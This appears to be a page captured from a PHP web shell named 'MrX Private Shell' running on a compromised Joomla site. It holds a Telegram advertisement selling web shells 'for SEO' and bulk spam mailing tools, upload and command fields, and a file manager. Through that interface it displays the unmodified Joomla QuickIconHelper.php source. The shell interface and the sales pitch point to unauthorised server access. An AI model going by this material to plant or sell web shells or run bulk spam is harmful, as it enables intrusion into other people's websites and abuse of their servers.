__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  mod_quickicon
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Quickicon\Administrator\Helper;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\Module\Quickicon\Administrator\Event\QuickIconsEvent;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Helper for mod_quickicon
 *
 * @since  1.6
 */
class QuickIconHelper
{
    /**
     * Stack to hold buttons
     *
     * @var     array[]
     * @since   1.6
     */
    protected $buttons = array();

    /**
     * Helper method to return button list.
     *
     * This method returns the array by reference so it can be
     * used to add custom buttons or remove default ones.
     *
     * @param   Registry        $params       The module parameters
     * @param   CMSApplication  $application  The application
     *
     * @return  array  An array of buttons
     *
     * @since   1.6
     */
    public function getButtons(Registry $params, CMSApplication $application = null)
    {
        if ($application == null) {
            $application = Factory::getApplication();
        }

        $key     = (string) $params;
        $context = (string) $params->get('context', 'mod_quickicon');

        if (!isset($this->buttons[$key])) {
            // Load mod_quickicon language file in case this method is called before rendering the module
            $application->getLanguage()->load('mod_quickicon');

            $this->buttons[$key] = [];

            if ($params->get('show_users')) {
                $tmp = [
                    'image'   => 'icon-users',
                    'link'    => Route::_('index.php?option=com_users&view=users'),
                    'linkadd' => Route::_('index.php?option=com_users&task=user.add'),
                    'name'    => 'MOD_QUICKICON_USER_MANAGER',
                    'access'  => array('core.manage', 'com_users', 'core.create', 'com_users'),
                    'group'   => 'MOD_QUICKICON_SITE',
                ];

                if ($params->get('show_users') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_users&amp;task=users.getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_menuitems')) {
                $tmp = [
                    'image'   => 'icon-list',
                    'link'    => Route::_('index.php?option=com_menus&view=items&menutype='),
                    'linkadd' => Route::_('index.php?option=com_menus&task=item.add'),
                    'name'    => 'MOD_QUICKICON_MENUITEMS_MANAGER',
                    'access'  => array('core.manage', 'com_menus', 'core.create', 'com_menus'),
                    'group'   => 'MOD_QUICKICON_STRUCTURE',
                ];

                if ($params->get('show_menuitems') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_menus&amp;task=items.getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_articles')) {
                $tmp = [
                    'image'   => 'icon-file-alt',
                    'link'    => Route::_('index.php?option=com_content&view=articles'),
                    'linkadd' => Route::_('index.php?option=com_content&task=article.add'),
                    'name'    => 'MOD_QUICKICON_ARTICLE_MANAGER',
                    'access'  => array('core.manage', 'com_content', 'core.create', 'com_content'),
                    'group'   => 'MOD_QUICKICON_SITE',
                ];

                if ($params->get('show_articles') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_content&amp;task=articles.getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_tags')) {
                $tmp = [
                    'image'   => 'icon-tag',
                    'link'    => Route::_('index.php?option=com_tags&view=tags'),
                    'linkadd' => Route::_('index.php?option=com_tags&task=tag.edit'),
                    'name'    => 'MOD_QUICKICON_TAGS_MANAGER',
                    'access'  => array('core.manage', 'com_tags', 'core.create', 'com_tags'),
                    'group'   => 'MOD_QUICKICON_SITE',
                ];

                if ($params->get('show_tags') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_tags&amp;task=tags.getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_categories')) {
                $tmp = [
                    'image'   => 'icon-folder-open',
                    'link'    => Route::_('index.php?option=com_categories&view=categories&extension=com_content'),
                    'linkadd' => Route::_('index.php?option=com_categories&task=category.add'),
                    'name'    => 'MOD_QUICKICON_CATEGORY_MANAGER',
                    'access'  => array('core.manage', 'com_content', 'core.create', 'com_content'),
                    'group'   => 'MOD_QUICKICON_SITE',
                ];

                if ($params->get('show_categories') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_categories&amp;task=categories.getQuickiconContent&amp;extension=content&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_media')) {
                $this->buttons[$key][] = [
                    'image'  => 'icon-images',
                    'link'   => Route::_('index.php?option=com_media'),
                    'name'   => 'MOD_QUICKICON_MEDIA_MANAGER',
                    'access' => array('core.manage', 'com_media'),
                    'group'  => 'MOD_QUICKICON_SITE',
                ];
            }

            if ($params->get('show_modules')) {
                $tmp = [
                    'image'   => 'icon-cube',
                    'link'    => Route::_('index.php?option=com_modules&view=modules&client_id=0'),
                    'linkadd' => Route::_('index.php?option=com_modules&view=select&client_id=0'),
                    'name'    => 'MOD_QUICKICON_MODULE_MANAGER',
                    'access'  => array('core.manage', 'com_modules'),
                    'group'   => 'MOD_QUICKICON_SITE'
                ];

                if ($params->get('show_modules') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_modules&amp;task=modules.getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_plugins')) {
                $tmp = [
                    'image'  => 'icon-plug',
                    'link'   => Route::_('index.php?option=com_plugins'),
                    'name'   => 'MOD_QUICKICON_PLUGIN_MANAGER',
                    'access' => array('core.manage', 'com_plugins'),
                    'group'  => 'MOD_QUICKICON_SITE'
                ];

                if ($params->get('show_plugins') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_plugins&amp;task=plugins.getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_template_styles')) {
                $this->buttons[$key][] = [
                    'image'  => 'icon-paint-brush',
                    'link'   => Route::_('index.php?option=com_templates&view=styles&client_id=0'),
                    'name'   => 'MOD_QUICKICON_TEMPLATE_STYLES',
                    'access' => array('core.admin', 'com_templates'),
                    'group'  => 'MOD_QUICKICON_SITE'
                ];
            }

            if ($params->get('show_template_code')) {
                $this->buttons[$key][] = [
                    'image'  => 'icon-code',
                    'link'   => Route::_('index.php?option=com_templates&view=templates&client_id=0'),
                    'name'   => 'MOD_QUICKICON_TEMPLATE_CODE',
                    'access' => array('core.admin', 'com_templates'),
                    'group'  => 'MOD_QUICKICON_SITE'
                ];
            }

            if ($params->get('show_checkin')) {
                $tmp = [
                    'image'   => 'icon-unlock-alt',
                    'link'    => Route::_('index.php?option=com_checkin'),
                    'name'    => 'MOD_QUICKICON_CHECKINS',
                    'access'  => array('core.admin', 'com_checkin'),
                    'group'   => 'MOD_QUICKICON_SYSTEM'
                ];

                if ($params->get('show_checkin') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_checkin&amp;task=getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_cache')) {
                $tmp = [
                    'image'   => 'icon-cloud',
                    'link'    => Route::_('index.php?option=com_cache'),
                    'name'    => 'MOD_QUICKICON_CACHE',
                    'access'  => array('core.admin', 'com_cache'),
                    'group'   => 'MOD_QUICKICON_SYSTEM'
                ];

                if ($params->get('show_cache') == 2) {
                    $tmp['ajaxurl'] = 'index.php?option=com_cache&amp;task=display.getQuickiconContent&amp;format=json';
                }

                $this->buttons[$key][] = $tmp;
            }

            if ($params->get('show_global')) {
                $this->buttons[$key][] = [
                    'image'  => 'icon-cog',
                    'link'   => Route::_('index.php?option=com_config'),
                    'name'   => 'MOD_QUICKICON_GLOBAL_CONFIGURATION',
                    'access' => array('core.manage', 'com_config', 'core.admin', 'com_config'),
                    'group'  => 'MOD_QUICKICON_SYSTEM',
                ];
            }

            PluginHelper::importPlugin('quickicon');

            $arrays = (array) $application->triggerEvent(
                'onGetIcons',
                new QuickIconsEvent('onGetIcons', ['context' => $context])
            );

            foreach ($arrays as $response) {
                if (!\is_array($response)) {
                    continue;
                }

                foreach ($response as $icon) {
                    $default = array(
                        'link'    => null,
                        'image'   => null,
                        'text'    => null,
                        'name'    => null,
                        'linkadd' => null,
                        'access'  => true,
                        'class'   => null,
                        'group'   => 'MOD_QUICKICON',
                    );

                    $icon = array_merge($default, $icon);

                    if (!\is_null($icon['link']) && (!\is_null($icon['text']) || !\is_null($icon['name']))) {
                        $this->buttons[$key][] = $icon;
                    }
                }
            }
        }

        return $this->buttons[$key];
    }
}

Filemanager

Name Type Size Permission Actions
QuickIconHelper.php File 11.31 KB 0664
Filemanager